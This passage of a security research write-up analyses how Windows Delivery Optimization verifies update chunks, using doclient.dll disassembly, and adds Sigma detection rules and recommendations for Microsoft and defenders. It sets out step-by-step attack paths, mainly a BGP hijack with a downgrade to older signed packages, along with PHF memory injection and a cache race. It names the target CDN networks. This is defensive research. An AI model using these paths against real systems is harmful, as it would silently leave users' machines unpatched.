<h2>7. Phase 5 - Verification Failure Behavior</h2>

<p>
Understanding what happens when DO detects a bad chunk is as important as understanding the happy path. From the <code>doclient.dll</code> strings, the failure handling chain is:
</p>

<ol>
  <li>Chunk arrives from peer or CDN</li>
  <li>SHA-1 hash computed, compared against PHF entry: <code>"Swarm %s, piece %u failed hash check"</code></li>
  <li>Failure logged to ETW provider <code>f8ad09ba-419c-5134-1750-270f4d0fb889</code></li>
  <li>Retry scheduled after configurable delay: <code>"DISC: Will retry failed (hr = %x) call after %lld ms"</code></li>
  <li>If failures from the same source exceed the configured limit, the source is banned with a logged message</li>
</ol>

<p>
The ban parameters are configurable via registry:
</p>

<pre><code>PeerBanIntervalSecs  - How long a peer stays banned after hitting the limit
PeerBanLimit        - Number of failures before a peer is banned
CdnBanIntervalSecs  - How long a CDN host stays banned
CdnBanLimit         - Number of failures before a CDN host is banned
</code></pre>

<p>The security implications are significant for an attacker:</p>

<ul>
  <li><strong>Threshold gaming:</strong> A sufficiently slow attack, serving one bad chunk per long interval, can stay permanently below the ban threshold while still interfering with the download.</li>
  <li><strong>No user-visible alert:</strong> Failures are logged to ETW only. No balloon notification, no Event Viewer entry under standard configuration.</li>
  <li><strong>Implicit feedback:</strong> When a source gets banned, the attacker's infrastructure stops receiving requests from that client. Monitoring outbound CDN traffic implicitly reveals the ban state.</li>
</ul>


<h2>8. Phase 6 - Binary Analysis: Confirming the Verification Architecture</h2>

<p>
Previous sections established the threat model from behavioral observation and string analysis. This section upgrades those findings to confirmed binary evidence by directly analyzing the disassembled <code>doclient.dll</code>. The disassembly covers 349,822 instructions across the full <code>.text</code> section (image base <code>0x180001000</code>, code extent through <code>0x180120800</code>).
</p>

<h3>The Two-Gate Verification Model: Confirmed at Instruction Level</h3>

<p>
There are exactly <strong>two <code>BCryptFinishHash</code> call sites</strong> in the entire binary. This is the definitive confirmation of a two-stage verification architecture:
</p>

<pre><code>Call site 1:  0x18001493f  →  per-chunk SHA-1 verification
Call site 2:  0x1800d9d83  →  PHF-level integrity check
</code></pre>

<p>
The BCrypt IAT mapping, resolved from call patterns in the disassembly:
</p>

<pre><code>IAT Address    Function
0x1801a3060    BCryptOpenAlgorithmProvider
0x1801a3068    BCryptCreateHash
0x1801a3070    BCryptHashData
0x1801a3078    BCryptFinishHash
0x1801a3038    BCryptDestroyHash
</code></pre>

<h3>Per-Chunk SHA-1 Verification: Full Call Chain Recovered</h3>

<p>The complete verified BCrypt sequence at <code>0x1800148b1</code> through <code>0x18001493f</code>, annotated:</p>

<pre><code>; Digest output buffer size = 0x14 bytes (20 bytes = SHA-1)
movq   $0x14, 0x48(%rsp)

; Flags: BCRYPT_HASH_REUSABLE_FLAG combined
mov    $0x1c000, %r9d
lea    0xa(%rdx), %ecx        ; hash object index
call   BCryptCreateHash        ; IAT 0x1801a3068
; rsi = hash handle

; Feed chunk data into the hash state
mov    0x38(%rsp), %rax        ; chunk data pointer
mov    %rax, 0x50(%rsp)
mov    $0x10000, %r9d          ; chunk data length
call   BCryptHashData           ; IAT 0x1801a3070

; Finalize: 20-byte digest written to [rsp+0x48]
xor    %edx, %edx
mov    %rsi, %rcx
call   BCryptFinishHash         ; IAT 0x1801a3078
; rdi = computed SHA-1 digest (20 bytes)

; Compare computed digest against stored PHF entry
mov    0x40(%rsp), %rcx        ; chunk metadata object pointer
mov    0x20(%rcx), %rcx        ; stored expected digest at struct offset +0x20
call   0x1800917f0              ; compare and swap stored hash handle
</code></pre>

<p>
The comparison function at <code>0x1800917f0</code> operates on the in-memory hash object, swapping the computed digest against the stored expected value. <strong>The SHA-1 comparison is entirely in-memory. The computed digest is never written to disk between computation and comparison.</strong> This rules out a trivial file-based race on the hash comparison itself, though a race on the raw chunk bytes during assembly remains an open question requiring dynamic analysis.
</p>

<h3>SHA-256 Authenticode Pass: Confirmed</h3>

<p>
At <code>0x1800b4bee</code>, inside the Authenticode verification block:
</p>

<pre><code>mov    $0x800c, %edx           ; CALG_SHA_256 = 0x800C (CryptoAPI constant)
xor    %ecx, %ecx
call   *[0x1801a3028]           ; CryptCreateHash via legacy CryptoAPI
</code></pre>

<p>
This is a second hash pass using SHA-256 via the legacy CryptoAPI, operating on the fully assembled file. The Authenticode error codes in this same block confirm what is happening:
</p>

<pre><code>0x1800b4b7b:  mov $0x800b0001, %edi    ; TRUST_E_PROVIDER_UNKNOWN
0x1800b4b96:  mov $0x800b0003, %edi    ; TRUST_E_SUBJECT_FORM_UNKNOWN
0x1800b4c26:  mov $0x800b0004, %edi    ; TRUST_E_SUBJECT_NOT_TRUSTED
</code></pre>

<p>
These are <code>WinVerifyTrust</code> return codes from <code>wintrust.h</code>. The two-gate model is confirmed at the binary level:
</p>

<ul>
  <li><strong>Gate 1:</strong> BCrypt SHA-1 per chunk, computed in-memory, compared against the in-memory PHF entry. Runs once per chunk on arrival.</li>
  <li><strong>Gate 2:</strong> CryptoAPI SHA-256 with WinVerifyTrust on the fully assembled file. Runs once after all chunks are assembled.</li>
</ul>

<p>
<strong>Neither gate validates version recency.</strong> Gate 1 confirms this chunk matches this PHF entry. Gate 2 confirms Microsoft signed this assembled file. Neither confirms this is the current version of the file.
</p>

<h3>SChannel Direct TLS: Confirmed</h3>

<p>
The binary uses SChannel directly, not WinHTTP's TLS layer. A dense SSPI function cluster at <code>0x180010df2</code> through <code>0x180010f9d</code>:
</p>

<pre><code>0x180010df2:  call *[0x1801a3158]    ; QueryContextAttributes (SECPKG_ATTR_STREAM_SIZES)
0x180010e35:  call *[0x1801a3120]    ; QueryContextAttributes (header size)
0x180010e7c:  call *[0x1801a3148]    ; QueryContextAttributes (trailer size)
0x180010f22:  call *[0x1801a3060]    ; BCryptOpenAlgorithmProvider
0x180010f5a:  call *[0x1801a3128]    ; DeleteSecurityContext / FreeCredentialsHandle
</code></pre>

<p>
The IAT slot at <code>0x1801a3130</code> is called approximately 30 times across the codebase and acts as the main SChannel dispatch, consistent with <code>InitializeSecurityContext</code> / <code>QueryContextAttributes</code>. Custom session attributes are set during negotiation. The exact contents of the resulting ClientHello require a Wireshark capture of a live session to determine.
</p>

<h3>PHF Memory Structure: Layout Recovered</h3>

<p>
From the chunk verification code, the in-memory PHF object layout, inferred from struct offsets used in the disassembly:
</p>

<pre><code>struct DOChunkMetadata {
    // fields at offsets 0x00 - 0x1F
    void*    pExpectedDigest;    // +0x20  stored SHA-1 from PHF (compared at verify time)
    // ...
    void*    pHashHandle;        // +0xC8  live BCrypt hash object
    // ...
    void*    pChainEntry;        // +0xF0  linked list of hash handles
    // ...
    DWORD    dwRefCount;         // +0x110 reference-counted lifetime
};
</code></pre>

<p>
The stored expected SHA-1 digest at offset <code>+0x20</code> is what gets passed to the comparison function. This structure is allocated in the <code>svchost.exe</code> heap on PHF fetch and freed when the download session ends. There is no disk representation at any point.
</p>


<h2>9. Phase 7 - Attack Surface and Chain Analysis</h2>

<h3>Why Most Naive Attacks Fail</h3>

<ul>
  <li><strong>Direct chunk substitution:</strong> SHA-1 preimage attack required, computationally infeasible at 2^160. Not viable standalone.</li>
  <li><strong>SHA-1 collision chunk swap:</strong> Chosen-prefix collision tooling (SHAttered 2017, SHA-mbles 2020) produces two files sharing a hash, but DO's PHF contains the hash of the <em>legitimate</em> chunk. Your collision artifact matches your chosen hash, not the PHF's existing entry. Requires PHF control first.</li>
  <li><strong>Authenticode forgery:</strong> Confirmed at binary level via <code>WinVerifyTrust</code> at <code>0x1800b4bee</code>. Valid Microsoft signature requires Microsoft's private key. Not viable.</li>
  <li><strong>Arbitrary content injection:</strong> Blocked jointly by Gate 1 and Gate 2. Even with full CDN control you are limited to content Microsoft has already signed.</li>
</ul>

<h3>The Attack Surface That Matters</h3>

<p>
All viable paths share one chokepoint: <strong>the PHF.</strong> Controlling the PHF means controlling the hash manifest, which means chunks you serve will pass Gate 1. Gate 2 (Authenticode) remains, and is addressed by the downgrade path below.
</p>

<p><strong>Path 1 - BGP Hijack + Downgrade (Remote, No Prior Access Required)</strong></p>

<pre><code>Step A: BGP hijack targeting AS199524 (G-Core Labs) or AS215724 (Edgevana).
        Announce more-specific prefix for CDN IP ranges to route victim
        traffic to attacker-controlled infrastructure.

Step B: Victim DO client resolves 1d.tlu.dl.delivery.mp.microsoft.com.
        Azure Traffic Manager CNAME hands off to gcdn.co alias.
        Attacker BGP announcement intercepts from that point.
        TLS handshake completes with attacker certificate.
        No pinning rejects it.

Step C: Attacker serves a substituted PHF referencing SHA-1 hashes
        of legitimately-signed older Windows component chunks.
        PHF passes "hash of hashes" validation because DO validates
        the PHF against the hash received from the same compromised channel.

Step D: Attacker serves old legitimate chunks matching the PHF.
        Each chunk passes Gate 1 (SHA-1 matches attacker PHF).

Step E: Assembled file passes Gate 2 (Authenticode).
        Old build was validly signed by Microsoft.
        That signature is cryptographically valid today.
        No version field is checked anywhere in the verified chain.

Result: Machine silently installs an older component version containing
        known unpatched CVEs. No error. No user-visible indicator.
        ETW-only logging. Windows Update UI shows success.
</code></pre>

<p>
BGP hijacks against small CDN ASNs are documented in the threat landscape. AS199524 and AS215724 are both small autonomous systems. The 2018 Amazon Route 53 BGP hijack, which redirected cryptocurrency traffic through a rogue AS for approximately two hours, used the same technique against comparable infrastructure. The tooling and capability are well understood at nation-state level.
</p>

<p><strong>Path 2 - TOCTOU Race Condition (Local, Post-Exploitation)</strong></p>

<pre><code>Prerequisite: Administrator-level access on target machine.

Step A: Monitor C:\Windows\SoftwareDistribution\Download\ with
        ReadDirectoryChangesW. Detect chunk file write by DoSvc.

Step B: Race window exists between chunk write to disk and
        final assembly step.

Step C: Binary analysis confirms the SHA-1 comparison is in-memory
        and does not re-read from disk for the comparison itself.
        Whether the raw chunk bytes used during file assembly are
        taken from the in-memory buffer or re-read from disk is not
        determinable from static analysis alone. If DoSvc re-reads
        from disk during assembly, the window is exploitable.
        Exact window size requires live WinDbg instrumentation.
</code></pre>

<p><strong>Path 3 - PHF Memory Injection (Local, Post-Exploitation)</strong></p>

<pre><code>Prerequisite: Code injection capability into svchost.exe hosting DoSvc.

The PHF lives in memory only. Binary analysis confirms the stored
expected digest sits at DOChunkMetadata+0x20 and is kept live in
the heap for the download session lifetime.

A process injection payload that locates this structure and overwrites
the expected digest entries with attacker-chosen SHA-1 values would
allow serving arbitrary chunks that pass Gate 1.

Gate 2 (Authenticode) still applies to the assembled result.
Target function for instrumentation: CMetaInfo::_CheckHashes
(confirmed from doclient.dll string analysis).
</code></pre>

<h3>Attack Vector Summary</h3>

<pre><code>Vector                   Prereq               Impact     Status
------------------------ -------------------- ---------- -------------------
BGP Hijack + downgrade   BGP capability       CRITICAL   Structural gap confirmed
PHF Memory Injection     svchost injection    HIGH       Confirmed attack surface
TOCTOU Race (cache)      Admin access         MEDIUM     Window exists, size TBD
P4 Token Replay          On-path observation  MEDIUM     Token plaintext, expiry TBD
SHA-1 Collision + swap   PHF control first    LOW        Blocked by Authenticode
Arbitrary content inject CDN control          BLOCKED    WinVerifyTrust holds
</code></pre>


<h2>10. Detection Rules</h2>

<p>
Three Sigma rules based on confirmed observables from this research. The ETW provider <code>f8ad09ba-419c-5134-1750-270f4d0fb889</code> (Microsoft-Windows-DeliveryOptimization) is the primary telemetry source for rules 1 and 2.
</p>

<h3>Rule 1 - DO Cache Modification by Non-DO Process</h3>

<pre><code>title: Delivery Optimization Cache Modification by Non-DO Process
id: DO-001
status: experimental
description: |
  Detects file writes to the DO cache directory from processes other
  than the legitimate DoSvc host (svchost.exe). Any write to this
  directory from a non-svchost process is anomalous and may indicate
  a TOCTOU exploitation attempt or cache poisoning.
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'C:\Windows\SoftwareDistribution\Download\'
        EventType: FileCreate
    filter_legitimate:
        Image|endswith: '\svchost.exe'
    condition: selection and not filter_legitimate
falsepositives:
    - DISM cleanup operations
    - Windows Update troubleshooter tools
level: high
tags:
    - attack.persistence
    - attack.defense_evasion
    - attack.t1574
</code></pre>

<h3>Rule 2 - Peer Ban Rate Anomaly</h3>

<pre><code>title: Delivery Optimization Peer Ban Rate Anomaly
id: DO-002
status: experimental
description: |
  High rate of peer bans within a short window indicates an active
  chunk poisoning attempt. DO bans peers that repeatedly serve bad
  chunks. A burst of bans suggests the ban threshold is being hit
  by a sustained attack.
  Source: ETW provider f8ad09ba-419c-5134-1750-270f4d0fb889
logsource:
    product: windows
    service: delivery-optimization
detection:
    keywords:
        - 'Rejecting banned peer'
        - 'piece failed hash check'
    timeframe: 5m
    condition: keywords | count() > 3
falsepositives:
    - Network instability causing legitimate hash failures
    - Flaky CDN edge node serving corrupt data
level: medium
tags:
    - attack.supply_chain
    - attack.t1195.002
</code></pre>

<h3>Rule 3 - DO Traffic to Third-Party CDN ASNs</h3>

<pre><code>title: Delivery Optimization Traffic to Third-Party CDN ASN
id: DO-003
status: experimental
description: |
  Detects svchost.exe making connections to IP ranges belonging to
  G-Core Labs (AS199524) or Edgevana (AS215724), the two third-party
  CDN operators confirmed in the DO delivery chain by this research.
  In isolation this is expected behavior by design. Use for:
  1. Inventory: confirm which machines route updates through
     third-party CDNs vs. Microsoft CDN directly.
  2. Alerting: unexpected volume or timing of these connections
     may indicate a BGP hijack routing victim traffic to attacker CDN.
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\svchost.exe'
        DestinationIp|cidr:
            - '92.223.0.0/16'       # G-Core Labs AS199524
            - '14.102.224.0/20'     # Edgevana AS215724
    condition: selection
falsepositives:
    - Normal DO update downloads (by design, use for inventory)
level: informational
tags:
    - attack.supply_chain
    - attack.t1195
</code></pre>


<h2>11. Conclusions and Recommendations</h2>

<p>
Windows Delivery Optimization's security model rests on one foundational assumption: the channel used to fetch the PHF is trustworthy. Every layer of downstream verification, chunk SHA-1 hashes, peer banning, retry logic, final assembly, flows from that assumption. The binary analysis in this research confirms this architecture at the instruction level and identifies the precise point at which the model breaks down.
</p>

<p>
The delivery chain for Windows updates on a production Windows 11 24H2 system routes through Azure Traffic Manager to two independent third-party CDN operators. Neither is Microsoft-operated. No certificate pinning enforces the boundary between Microsoft-controlled and third-party infrastructure. Neither verification gate in the binary checks version recency. A BGP-capable adversary targeting either CDN ASN can silently serve legitimately-signed older package versions, suppressing security patches and regressing machines to states with known unpatched vulnerabilities, with no user-visible indicator and no error state in the Windows Update UI.
</p>

<p>The confirmed findings from this research:</p>

<ul>
  
  <li><strong>Two-gate verification confirmed in binary:</strong> BCrypt SHA-1 per chunk at <code>0x18001493f</code>, CryptoAPI SHA-256 Authenticode on assembled file at <code>0x1800b4bee</code>. Neither gate checks version recency.</li>
  <li><strong>PHF memory-only confirmed:</strong> Exhaustive disk search found no PHF artifacts. Binary analysis confirms in-memory struct with stored digest at <code>DOChunkMetadata+0x20</code>.</li>
  <li><strong>Third-party CDN operators identified with full attribution:</strong> G-Core Labs AS199524 and Edgevana AS215724, confirmed via live traceroute and download telemetry, both reachable via BGP hijack.</li>
  <li><strong>No certificate pinning:</strong> Confirmed indirectly by successful downloads through both third-party operators.</li>
  <li><strong>P4 token in plaintext HTTP:</strong> Observable by any on-path entity.</li>
  <li><strong>SChannel direct TLS confirmed in binary:</strong> Custom context attributes set during handshake. Exact ClientHello extension content requires Wireshark capture to determine.</li>
  <li><strong>No user-visible failure indicator:</strong> All verification failure events logged to ETW only.</li>
</ul>

<h3>Recommendations for Microsoft</h3>

<ul>
  <li><strong>Implement certificate pinning</strong> on DO CDN endpoints, pinned to a Microsoft-controlled intermediate CA, so third-party operators cannot be substituted via BGP hijack</li>
  <li><strong>Add version validation to the verification chain.</strong> The PHF or the DO cloud service should include a minimum acceptable version field validated independently of content hashes, closing the downgrade path without requiring algorithm changes</li>
  <li><strong>Disclose CDN partnerships</strong> in Windows security documentation so enterprise teams can account for G-Core Labs and Edgevana IP ranges in their network monitoring</li>
  <li><strong>Upgrade chunk hashing from SHA-1 to SHA-256</strong> throughout the verification chain</li>
  <li><strong>Move P4 token delivery to HTTPS</strong> to prevent passive observation by on-path entities</li>
  <li><strong>Publish the PHF format specification</strong> to allow independent verification tooling and third-party security audits</li>
</ul>

<h3>Recommendations for Defenders</h3>

<ul>
  <li>Deploy <strong>DO-003</strong> to inventory which endpoints route update downloads through G-Core Labs and Edgevana IP ranges</li>
  <li>Enable collection of ETW provider <code>f8ad09ba-419c-5134-1750-270f4d0fb889</code> in your SIEM and alert on <strong>DO-002</strong> patterns</li>
  <li>In high-security environments, set <code>DownloadMode: 0</code> (HTTP only, CDN-direct) or <code>DownloadMode: 100</code> (bypass DO entirely) via Group Policy to eliminate the third-party CDN surface</li>
  <li>Add BGP monitoring for AS199524 and AS215724. Unexpected route announcements from non-G-Core or non-Edgevana peers are a direct threat signal for the update delivery chain</li>
  <li>Monitor <code>C:\Windows\SoftwareDistribution\Download\</code> for file writes from non-svchost processes via DO-001</li>
</ul>

<h3>Scope and Future Work</h3>

<p>
All findings were confirmed on Windows 11 Pro 24H2 (Build 26100.7309). Windows 10 and Windows Server editions were not tested. The P2P wire protocol on port 7680 is scoped to future research. Three direct follow-on actions are outstanding: measuring the P4 token expiry window via controlled replay testing, capturing the <code>doclient.dll</code> TLS ClientHello via Wireshark to determine the exact custom extension content, and measuring the TOCTOU race window via live WinDbg instrumentation to confirm whether chunk bytes are re-read from disk during assembly.
</p>


<h2>References</h2>

<ul>
  <li>Microsoft Learn - Delivery Optimization for Windows Updates</li>
  <li>ReversingLabs - Abusing Authenticode (PE overlay and post-signature modification)</li>
  <li>SafeBreach - Windows Downdate (2024), downgrade attack via update stack manipulation</li>
  <li>Marc Stevens et al. - SHAttered: First SHA-1 Collision (2017)</li>
  <li>Leurent &amp; Peyrin - SHA-mbles: Chosen-prefix SHA-1 collisions (2020)</li>
  <li>CVE-2017-11829 - Windows 10 DO privilege escalation</li>
  <li>CVE-2019-1289 - Windows DO file overwrite privilege escalation</li>
  <li>ETW Provider: <code>f8ad09ba-419c-5134-1750-270f4d0fb889</code> (Microsoft-Windows-DeliveryOptimization)</li>
  <li>G-Core Labs CDN - AS199524 - 92.223.55.62 - Marseille, France</li>
  <li>Edgevana, Inc. - AS215724 - 14.102.231.203 - Singapore</li>
  <li>doclient.dll disassembly - Build 26100.7309 - BCrypt call sites 0x18001493f, 0x1800d9d83</li>
</ul>]]></content:encoded>
          </item>
      </channel>
</rss>
